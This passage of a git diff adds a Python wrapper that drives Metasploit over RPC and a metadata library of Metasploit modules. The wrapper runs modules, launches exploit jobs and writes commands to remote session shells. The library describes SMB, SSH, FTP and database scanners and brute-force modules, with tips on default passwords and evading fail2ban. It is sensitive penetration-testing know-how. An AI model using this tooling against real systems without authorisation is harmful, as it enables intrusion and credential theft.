line in raw_output.split('\n'): + line_stripped = line.strip() + + # Skip empty lines + if not line_stripped: + continue + + # Skip banner/noise patterns + skip = False + for pattern in self.SKIP_PATTERNS: + if pattern.lower() in line_stripped.lower(): + skip = True + break + + if skip: + continue + + # Skip prompt lines + if line_stripped.startswith('>') and len(line_stripped) < 5: + continue + + # Skip set confirmations (we already show these) + if ' => ' in line_stripped and any( + line_stripped.startswith(opt) for opt in + ['RHOSTS', 'RHOST', 'PORTS', 'LHOST', 'LPORT', 'THREADS'] + ): + continue + + lines.append(line) + + return '\n'.join(lines) + + def _parse_output(self, cleaned_output: str, module_path: str) -> Dict[str, Any]: + """Parse cleaned output into structured data. + + Args: + cleaned_output: Cleaned console output. + module_path: The module that was run (for context). + + Returns: + Dictionary with parsed results. + """ + result = { + 'findings': [], + 'info': [], + 'errors': [], + 'warnings': [], + 'open_ports': [], + 'services': [], + 'error_count': 0, + } + + is_scanner = 'scanner' in module_path.lower() + is_portscan = 'portscan' in module_path.lower() + + for line in cleaned_output.split('\n'): + line_stripped = line.strip() + + # Categorize by prefix + if '[+]' in line: + result['findings'].append(line_stripped) + + # Try to extract port/service info from scanner results + if is_scanner: + # Look for IP:port patterns + service_match = self.SERVICE_PATTERN.search(line) + if service_match: + ip, port, info = service_match.groups() + result['services'].append({ + 'ip': ip, + 'port': int(port), + 'info': info.strip() + }) + + # Look for "open" port mentions + if is_portscan and 'open' in line.lower(): + port_match = re.search(r':(\d+)\s', line) + if port_match: + result['open_ports'].append({ + 'port': int(port_match.group(1)), + 'state': 'open' + }) + + elif '[-]' in line or 'Error:' in line: + # Count NoMethodError and similar spam but don't store each one + if 'NoMethodError' in line or 'undefined method' in line: + result['error_count'] += 1 + else: + result['errors'].append(line_stripped) + + elif '[!]' in line: + result['warnings'].append(line_stripped) + + elif '[*]' in line: + result['info'].append(line_stripped) + + return result + + def run_module( + self, + module_path: str, + options: Dict[str, Any] = None, + timeout: int = 120, + auto_reconnect: bool = True + ) -> MSFResult: + """Execute an MSF module and return parsed results. + + Args: + module_path: Full module path (e.g., 'auxiliary/scanner/portscan/tcp'). + options: Module options dictionary. + timeout: Maximum execution time in seconds. + auto_reconnect: If True, attempt to reconnect on auth errors. + + Returns: + MSFResult with parsed output. + """ + options = options or {} + target = options.get('RHOSTS', options.get('RHOST', '')) + start_time = time.time() + + # Ensure connected + connected, msg = self.ensure_connected() + if not connected: + return MSFResult( + status=MSFStatus.NOT_CONNECTED, + module=module_path, + target=target, + errors=[msg] + ) + + # Build console commands + commands = f"use {module_path}\n" + for key, value in options.items(): + commands += f"set {key} {value}\n" + commands += "run" + + # Execute + raw_output, error = self._run_console_command(commands, timeout) + + # Handle auth error with reconnect + if error == "AUTH_ERROR" and auto_reconnect: + connected, msg = self.ensure_connected() + if connected: + raw_output, error = self._run_console_command(commands, timeout) + else: + return MSFResult( + status=MSFStatus.AUTH_ERROR, + module=module_path, + target=target, + errors=["Session expired and reconnection failed"] + ) + + # Handle other errors + if error and error != "AUTH_ERROR": + if "timed out" in error.lower(): + status = MSFStatus.TIMEOUT + else: + status = MSFStatus.FAILED + return MSFResult( + status=status, + module=module_path, + target=target, + raw_output=raw_output, + errors=[error] + ) + + # Clean and parse output + cleaned = self._clean_output(raw_output) + parsed = self._parse_output(cleaned, module_path) + + execution_time = time.time() - start_time + + # Determine status + if parsed['error_count'] > 0 and not parsed['findings']: + status = MSFStatus.FAILED + elif parsed['error_count'] > 0: + status = MSFStatus.PARTIAL + elif parsed['findings'] or parsed['info']: + status = MSFStatus.SUCCESS + else: + status = MSFStatus.SUCCESS # No output isn't necessarily an error + + return MSFResult( + status=status, + module=module_path, + target=target, + raw_output=raw_output, + cleaned_output=cleaned, + findings=parsed['findings'], + info=parsed['info'], + errors=parsed['errors'], + warnings=parsed['warnings'], + open_ports=parsed['open_ports'], + services=parsed['services'], + execution_time=execution_time, + error_count=parsed['error_count'] + ) + + def run_scanner( + self, + module_path: str, + target: str, + ports: str = None, + options: Dict[str, Any] = None, + timeout: int = 120 + ) -> MSFResult: + """Convenience method for running scanner modules. + + Args: + module_path: Scanner module path. + target: Target IP or range (RHOSTS). + ports: Port specification (optional). + options: Additional options. + timeout: Maximum execution time. + + Returns: + MSFResult with scan results. + """ + opts = {'RHOSTS': target} + if ports: + opts['PORTS'] = ports + if options: + opts.update(options) + + return self.run_module(module_path, opts, timeout) + + def get_module_info(self, module_path: str) -> Optional[Dict[str, Any]]: + """Get information about a module. + + Args: + module_path: Full module path. + + Returns: + Module info dictionary or None. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return None + + try: + # Determine module type from path + parts = module_path.split('/') + if len(parts) < 2: + return None + + module_type = parts[0] + module_name = '/'.join(parts[1:]) + + info = self.manager.rpc.get_module_info(module_type, module_name) + return { + 'name': info.name, + 'description': info.description, + 'author': info.author, + 'type': info.type, + 'rank': info.rank, + 'references': info.references + } + except Exception as e: + self._last_error = str(e) + return None + + def get_module_options(self, module_path: str) -> Optional[Dict[str, Any]]: + """Get available options for a module. + + Args: + module_path: Full module path. + + Returns: + Options dictionary or None. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return None + + try: + parts = module_path.split('/') + if len(parts) < 2: + return None + + module_type = parts[0] + module_name = '/'.join(parts[1:]) + + return self.manager.rpc.get_module_options(module_type, module_name) + except Exception as e: + self._last_error = str(e) + return None + + def search_modules(self, query: str) -> List[str]: + """Search for modules matching a query. + + Args: + query: Search query. + + Returns: + List of matching module paths. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return [] + + try: + results = self.manager.rpc.search_modules(query) + # Results are typically dicts with 'fullname' key + if isinstance(results, list): + return [r.get('fullname', r) if isinstance(r, dict) else str(r) for r in results] + return [] + except Exception as e: + self._last_error = str(e) + return [] + + def list_modules(self, module_type: str = None) -> List[str]: + """List available modules by type. + + Args: + module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop). + If None, returns all modules. + + Returns: + List of module paths. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return [] + + try: + return self.manager.rpc.list_modules(module_type) + except Exception as e: + self._last_error = str(e) + return [] + + def list_sessions(self) -> Dict[str, Any]: + """List active MSF sessions. + + Returns: + Dictionary of session IDs to session info. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return {} + + try: + return self.manager.rpc.list_sessions() + except Exception as e: + self._last_error = str(e) + return {} + + def list_jobs(self) -> Dict[str, Any]: + """List running MSF jobs. + + Returns: + Dictionary of job IDs to job info. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return {} + + try: + return self.manager.rpc.list_jobs() + except Exception as e: + self._last_error = str(e) + return {} + + def stop_job(self, job_id: str) -> bool: + """Stop a running job. + + Args: + job_id: Job ID to stop. + + Returns: + True if stopped successfully. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False + + try: + return self.manager.rpc.stop_job(job_id) + except Exception as e: + self._last_error = str(e) + return False + + def execute_module_job( + self, + module_path: str, + options: Dict[str, Any] = None + ) -> Tuple[bool, Optional[str], Optional[str]]: + """Execute a module as a background job (non-blocking). + + This is different from run_module() which uses console and captures output. + Use this for exploits and long-running modules that should run in background. + + Args: + module_path: Full module path. + options: Module options. + + Returns: + Tuple of (success, job_id, error_message). + """ + connected, msg = self.ensure_connected() + if not connected: + return False, None, msg + + try: + parts = module_path.split('/') + if len(parts) < 2: + return False, None, "Invalid module path" + + module_type = parts[0] + module_name = '/'.join(parts[1:]) + + result = self.manager.rpc.execute_module(module_type, module_name, options or {}) + + job_id = result.get('job_id') + if job_id is not None: + return True, str(job_id), None + else: + # Check for error in result + error = result.get('error_message') or result.get('error') or "Unknown error" + return False, None, str(error) + + except Exception as e: + self._last_error = str(e) + return False, None, str(e) + + def session_read(self, session_id: str) -> Tuple[bool, str]: + """Read from a session shell. + + Args: + session_id: Session ID. + + Returns: + Tuple of (success, output). + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False, "" + + try: + output = self.manager.rpc.session_shell_read(session_id) + return True, output + except Exception as e: + self._last_error = str(e) + return False, "" + + def session_write(self, session_id: str, command: str) -> bool: + """Write a command to a session shell. + + Args: + session_id: Session ID. + command: Command to execute. + + Returns: + True if written successfully. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False + + try: + return self.manager.rpc.session_shell_write(session_id, command) + except Exception as e: + self._last_error = str(e) + return False + + def session_stop(self, session_id: str) -> bool: + """Stop/kill a session. + + Args: + session_id: Session ID. + + Returns: + True if stopped successfully. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False + + try: + return self.manager.rpc.session_stop(session_id) + except Exception as e: + self._last_error = str(e) + return False + + def run_console_command(self, command: str, timeout: int = 30) -> Tuple[bool, str]: + """Run a raw console command and return output. + + This is a lower-level method for direct console access. + + Args: + command: Console command to run. + timeout: Timeout in seconds. + + Returns: + Tuple of (success, output). + """ + connected, msg = self.ensure_connected() + if not connected: + return False, msg + + try: + output = self.manager.rpc.run_console_command(command, timeout=timeout) + return True, output + except Exception as e: + self._last_error = str(e) + return False, str(e) + + def print_result(self, result: MSFResult, verbose: bool = False): + """Print a formatted result to the console. + + Args: + result: MSFResult to print. + verbose: If True, show all output including info lines. + """ + print(f"\n{Colors.CYAN}Module Output:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + if result.status == MSFStatus.NOT_CONNECTED: + print(f" {Colors.RED}[X] Not connected to Metasploit{Colors.RESET}") + if result.errors: + print(f" {result.errors[0]}") + elif result.status == MSFStatus.AUTH_ERROR: + print(f" {Colors.RED}[X] Authentication failed{Colors.RESET}") + elif result.status == MSFStatus.TIMEOUT: + print(f" {Colors.YELLOW}[!] Execution timed out{Colors.RESET}") + else: + # Print findings (green) + for line in result.findings: + print(f" {Colors.GREEN}{line}{Colors.RESET}") + + # Print info (cyan) - only in verbose mode + if verbose: + for line in result.info: + print(f" {Colors.CYAN}{line}{Colors.RESET}") + + # Print warnings (yellow) + for line in result.warnings: + print(f" {Colors.YELLOW}{line}{Colors.RESET}") + + # Print errors (dim) + for line in result.errors: + print(f" {Colors.DIM}{line}{Colors.RESET}") + + # Summarize error count if high + if result.error_count > 0: + print(f"\n {Colors.YELLOW}[!] {result.error_count} errors occurred during execution{Colors.RESET}") + + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + # Print summary + if result.execution_time > 0: + print(f" {Colors.DIM}Time: {result.execution_time:.1f}s{Colors.RESET}") + print(f" {Colors.DIM}Status: {result.get_summary()}{Colors.RESET}") + + # Print parsed port/service info if available + if result.open_ports: + print(f"\n {Colors.GREEN}Open Ports:{Colors.RESET}") + for port_info in result.open_ports: + print(f" {port_info['port']}/tcp - {port_info.get('state', 'open')}") + + if result.services: + print(f"\n {Colors.GREEN}Services Detected:{Colors.RESET}") + for svc in result.services: + print(f" {svc['ip']}:{svc['port']} - {svc['info']}") + + +# Global instance +_msf_interface: Optional[MSFInterface] = None + + +def get_msf_interface() -> MSFInterface: + """Get the global MSF interface instance.""" + global _msf_interface + if _msf_interface is None: + _msf_interface = MSFInterface() + return _msf_interface diff --git a/core/msf_modules.py b/core/msf_modules.py new file mode 100644 index 0000000..6428012 --- /dev/null +++ b/core/msf_modules.py @@ -0,0 +1,1192 @@ +""" +AUTARCH Metasploit Module Library +Descriptions and metadata for common Metasploit modules. + +Provides user-friendly descriptions, common options, and usage guidance +for frequently used MSF modules without needing to query MSF itself. + +Usage: + from core.msf_modules import get_module_info, search_modules, get_modules_by_category + + info = get_module_info('auxiliary/scanner/smb/smb_version') + print(info['description']) + + results = search_modules('eternalblue') + for mod in results: + print(mod['path'], mod['name']) +""" + +from typing import Dict, Optional, List, Any + + +# ============================================================================= +# MODULE LIBRARY +# ============================================================================= +# Each module entry contains: +# - name: Human-readable name +# - description: What the module does (user-friendly) +# - author: Module author(s) +# - cve: CVE identifier(s) if applicable +# - platforms: Target platforms (windows, linux, unix, multi, etc.) +# - arch: Target architectures (x86, x64, etc.) +# - reliability: excellent, great, good, normal, average, low +# - options: List of key options with brief descriptions +# - tags: Keywords for searching +# - notes: Usage tips and warnings + +MSF_MODULES = { + # ========================================================================= + # SCANNERS - SMB + # ========================================================================= + 'auxiliary/scanner/smb/smb_version': { + 'name': 'SMB Version Scanner', + 'description': 'Scans for SMB servers and identifies the operating system, SMB version, ' + 'and other details. Essential first step for Windows network enumeration. ' + 'Identifies Windows version, domain membership, and SMB signing status.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads (default: 1)'}, + ], + 'tags': ['smb', 'scanner', 'enumeration', 'windows', 'version', 'fingerprint'], + 'notes': 'Safe to run - passive fingerprinting. Run this first on Windows networks.', + }, + 'auxiliary/scanner/smb/smb_enumshares': { + 'name': 'SMB Share Enumeration', + 'description': 'Enumerates SMB shares on target systems. Lists available shares, ' + 'their types (disk, printer, IPC), and access permissions. Can identify ' + 'readable/writable shares for further exploitation.', + 'author': ['hdm', 'tebo'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'SMBUser', 'required': False, 'desc': 'Username for authentication'}, + {'name': 'SMBPass', 'required': False, 'desc': 'Password for authentication'}, + {'name': 'SMBDomain', 'required': False, 'desc': 'Domain for authentication'}, + ], + 'tags': ['smb', 'scanner', 'enumeration', 'shares', 'windows'], + 'notes': 'Try with null session first (no creds), then with valid credentials for more results.', + }, + 'auxiliary/scanner/smb/smb_enumusers': { + 'name': 'SMB User Enumeration', + 'description': 'Enumerates users on Windows systems via SMB. Uses various techniques ' + 'including SAM enumeration and LSA queries. Useful for building username ' + 'lists for password attacks.', + 'author': ['hdm', 'tebo'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'SMBUser', 'required': False, 'desc': 'Username for authentication'}, + {'name': 'SMBPass', 'required': False, 'desc': 'Password for authentication'}, + ], + 'tags': ['smb', 'scanner', 'enumeration', 'users', 'windows', 'credentials'], + 'notes': 'May require authentication on modern Windows. Works well on older systems.', + }, + 'auxiliary/scanner/smb/smb_ms17_010': { + 'name': 'MS17-010 SMB Vulnerability Scanner', + 'description': 'Checks if target systems are vulnerable to MS17-010 (EternalBlue). ' + 'This vulnerability affects SMBv1 and allows remote code execution. ' + 'Does NOT exploit - only checks for vulnerability.', + 'author': ['zerosum0x0', 'Luke Jennings'], + 'cve': ['CVE-2017-0143', 'CVE-2017-0144', 'CVE-2017-0145'], + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['smb', 'scanner', 'ms17-010', 'eternalblue', 'vulnerability', 'windows'], + 'notes': 'Safe scanner - does not crash systems. Check before using EternalBlue exploit.', + }, + 'auxiliary/scanner/smb/smb_login': { + 'name': 'SMB Login Scanner', + 'description': 'Brute force SMB login credentials. Tests username/password combinations ' + 'against SMB authentication. Supports password lists, blank passwords, ' + 'and pass-the-hash attacks.', + 'author': ['tebo'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'SMBUser', 'required': False, 'desc': 'Username or USER_FILE'}, + {'name': 'SMBPass', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'SMBDomain', 'required': False, 'desc': 'Domain name'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + {'name': 'USER_AS_PASS', 'required': False, 'desc': 'Try username as password'}, + ], + 'tags': ['smb', 'scanner', 'brute', 'login', 'credentials', 'windows'], + 'notes': 'Be careful of account lockout policies. Start with small wordlists.', + }, + + # ========================================================================= + # SCANNERS - SSH + # ========================================================================= + 'auxiliary/scanner/ssh/ssh_version': { + 'name': 'SSH Version Scanner', + 'description': 'Identifies SSH server version and implementation. Reveals OpenSSH version, ' + 'OS hints, and supported authentication methods. Useful for identifying ' + 'outdated or vulnerable SSH servers.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ssh', 'scanner', 'version', 'enumeration', 'linux', 'unix'], + 'notes': 'Safe passive scan. Version info can reveal vulnerable configurations.', + }, + 'auxiliary/scanner/ssh/ssh_login': { + 'name': 'SSH Login Scanner', + 'description': 'Brute force SSH login credentials. Tests username/password combinations ' + 'and SSH keys. Supports credential files, blank passwords, and key-based ' + 'authentication.', + 'author': ['todb'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username or USER_FILE'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + {'name': 'USER_AS_PASS', 'required': False, 'desc': 'Try username as password'}, + ], + 'tags': ['ssh', 'scanner', 'brute', 'login', 'credentials', 'linux'], + 'notes': 'SSH often has fail2ban - use slow speed. Creates shell session on success.', + }, + 'auxiliary/scanner/ssh/ssh_enumusers': { + 'name': 'SSH User Enumeration', + 'description': 'Enumerates valid usernames on SSH servers using timing attacks or ' + 'response differences. Works on older OpenSSH versions with user ' + 'enumeration vulnerabilities.', + 'author': ['kenkeiras', 'Nixawk'], + 'cve': ['CVE-2018-15473'], + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'good', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'USER_FILE', 'required': True, 'desc': 'File with usernames to test'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ssh', 'scanner', 'enumeration', 'users', 'cve-2018-15473'], + 'notes': 'Only works on vulnerable OpenSSH versions (< 7.7). Patched on most modern systems.', + }, + + # ========================================================================= + # SCANNERS - HTTP/WEB + # ========================================================================= + 'auxiliary/scanner/http/http_version': { + 'name': 'HTTP Version Scanner', + 'description': 'Identifies web server software and version. Reveals server type ' + '(Apache, Nginx, IIS), version numbers, and sometimes OS information. ' + 'Essential for web application testing.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['http', 'scanner', 'web', 'version', 'enumeration'], + 'notes': 'Safe scan. Servers may hide version info. Check for X-Powered-By headers.', + }, + 'auxiliary/scanner/http/title': { + 'name': 'HTTP Title Scanner', + 'description': 'Retrieves the HTML title from web pages. Useful for quickly identifying ' + 'web applications, login pages, and default installations across many hosts.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'URI path (default: /)'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + ], + 'tags': ['http', 'scanner', 'web', 'enumeration', 'title'], + 'notes': 'Quick way to identify web apps. Default titles reveal app type.', + }, + 'auxiliary/scanner/http/dir_scanner': { + 'name': 'HTTP Directory Scanner', + 'description': 'Brute forces common directories and files on web servers. Finds hidden ' + 'admin panels, backup files, configuration files, and sensitive paths.', + 'author': ['et'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'PATH', 'required': False, 'desc': 'Starting path'}, + {'name': 'DICTIONARY', 'required': False, 'desc': 'Wordlist file'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + ], + 'tags': ['http', 'scanner', 'web', 'directory', 'brute', 'enumeration'], + 'notes': 'Use good wordlists (dirbuster, dirb). May trigger WAF alerts.', + }, + 'auxiliary/scanner/http/wordpress_scanner': { + 'name': 'WordPress Scanner', + 'description': 'Scans WordPress installations for version, themes, plugins, and ' + 'vulnerabilities. Identifies installed plugins which are common attack vectors.', + 'author': ['Christian Mehlmauer'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s)'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'WordPress path (default: /)'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + ], + 'tags': ['http', 'scanner', 'web', 'wordpress', 'cms', 'enumeration'], + 'notes': 'Check wp-content/plugins/ and wp-content/themes/ for version info.', + }, + + # ========================================================================= + # SCANNERS - PORTS/SERVICES + # ========================================================================= + 'auxiliary/scanner/portscan/tcp': { + 'name': 'TCP Port Scanner', + 'description': 'Fast TCP port scanner using connect() method. Identifies open ports ' + 'on target systems. Supports port ranges and concurrent scanning.', + 'author': ['hdm', 'kris katterjohn'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'PORTS', 'required': True, 'desc': 'Ports to scan (e.g., 1-1000,8080)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads (default: 1)'}, + {'name': 'TIMEOUT', 'required': False, 'desc': 'Connection timeout'}, + ], + 'tags': ['scanner', 'portscan', 'tcp', 'enumeration', 'network'], + 'notes': 'Full connect scan - detected by IDS. For stealth, use SYN scan (requires raw sockets).', + }, + 'auxiliary/scanner/portscan/syn': { + 'name': 'SYN Port Scanner', + 'description': 'Stealthy TCP SYN port scanner. Sends SYN packets without completing ' + 'the handshake, making it harder to detect. Requires raw socket access (root).', + 'author': ['hdm', 'kris katterjohn'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'PORTS', 'required': True, 'desc': 'Ports to scan'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + {'name': 'TIMEOUT', 'required': False, 'desc': 'Packet timeout'}, + ], + 'tags': ['scanner', 'portscan', 'syn', 'stealth', 'network'], + 'notes': 'Requires root/admin. Stealthier than connect scan. May miss some ports behind NAT.', + }, + + # ========================================================================= + # SCANNERS - FTP + # ========================================================================= + 'auxiliary/scanner/ftp/ftp_version': { + 'name': 'FTP Version Scanner', + 'description': 'Identifies FTP server software and version from banner. Reveals ' + 'server type (vsftpd, ProFTPD, Pure-FTPd, IIS FTP) and version numbers.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ftp', 'scanner', 'version', 'enumeration'], + 'notes': 'Check banner for known vulnerable versions (vsftpd 2.3.4 backdoor, etc.).', + }, + 'auxiliary/scanner/ftp/anonymous': { + 'name': 'FTP Anonymous Login Scanner', + 'description': 'Checks if FTP servers allow anonymous login. Anonymous FTP can expose ' + 'sensitive files and sometimes allows file uploads.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ftp', 'scanner', 'anonymous', 'login', 'enumeration'], + 'notes': 'Check for writable directories. Anonymous upload can lead to RCE on some servers.', + }, + 'auxiliary/scanner/ftp/ftp_login': { + 'name': 'FTP Login Scanner', + 'description': 'Brute force FTP login credentials. Tests username/password combinations ' + 'against FTP authentication.', + 'author': ['todb'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username or USER_FILE'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + ], + 'tags': ['ftp', 'scanner', 'brute', 'login', 'credentials'], + 'notes': 'FTP sends passwords in cleartext. Creates session on successful login.', + }, + + # ========================================================================= + # SCANNERS - DATABASE + # ========================================================================= + 'auxiliary/scanner/mysql/mysql_version': { + 'name': 'MySQL Version Scanner', + 'description': 'Identifies MySQL server version and configuration. Reveals version ' + 'number, protocol version, and server capabilities.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'MySQL port (default: 3306)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['mysql', 'scanner', 'database', 'version', 'enumeration'], + 'notes': 'MySQL should not be exposed to internet. Check for known vulnerable versions.', + }, + 'auxiliary/scanner/mysql/mysql_login': { + 'name': 'MySQL Login Scanner', + 'description': 'Brute force MySQL login credentials. Tests username/password combinations ' + 'including common defaults like root with no password.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'MySQL port (default: 3306)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username (default: root)'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + ], + 'tags': ['mysql', 'scanner', 'database', 'brute', 'login', 'credentials'], + 'notes': 'Try root with blank password first - common misconfiguration.', + }, + 'auxiliary/scanner/mssql/mssql_ping': { + 'name': 'MSSQL Server Discovery', + 'description': 'Discovers Microsoft SQL Server instances via UDP ping. Reveals instance ' + 'names, versions, and TCP ports. Works even when TCP port scanning fails.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['mssql', 'scanner', 'database', 'discovery', 'windows'], + 'notes': 'Uses UDP 1434. Finds named instances that may be on non-standard ports.', + }, + 'auxiliary/scanner/mssql/mssql_login': { + 'name': 'MSSQL Login Scanner', + 'description': 'Brute force Microsoft SQL Server login credentials. Tests both SQL ' + 'authentication and Windows authentication modes.', + 'author': ['hdm', 'todb'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'MSSQL port (default: 1433)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username (default: sa)'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + ], + 'tags': ['mssql', 'scanner', 'database', 'brute', 'login', 'credentials', 'windows'], + 'notes': 'Try sa with common passwords. MSSQL can execute OS commands via xp_cmdshell.', + }, + 'auxiliary/scanner/postgres/postgres_login': { + 'name': 'PostgreSQL Login Scanner', + 'description': 'Brute force PostgreSQL login credentials. Tests username/password ' + 'combinations against PostgreSQL authentication.', + 'author': ['todb'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'PostgreSQL port (default: 5432)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username (default: postgres)'}, + {'name': 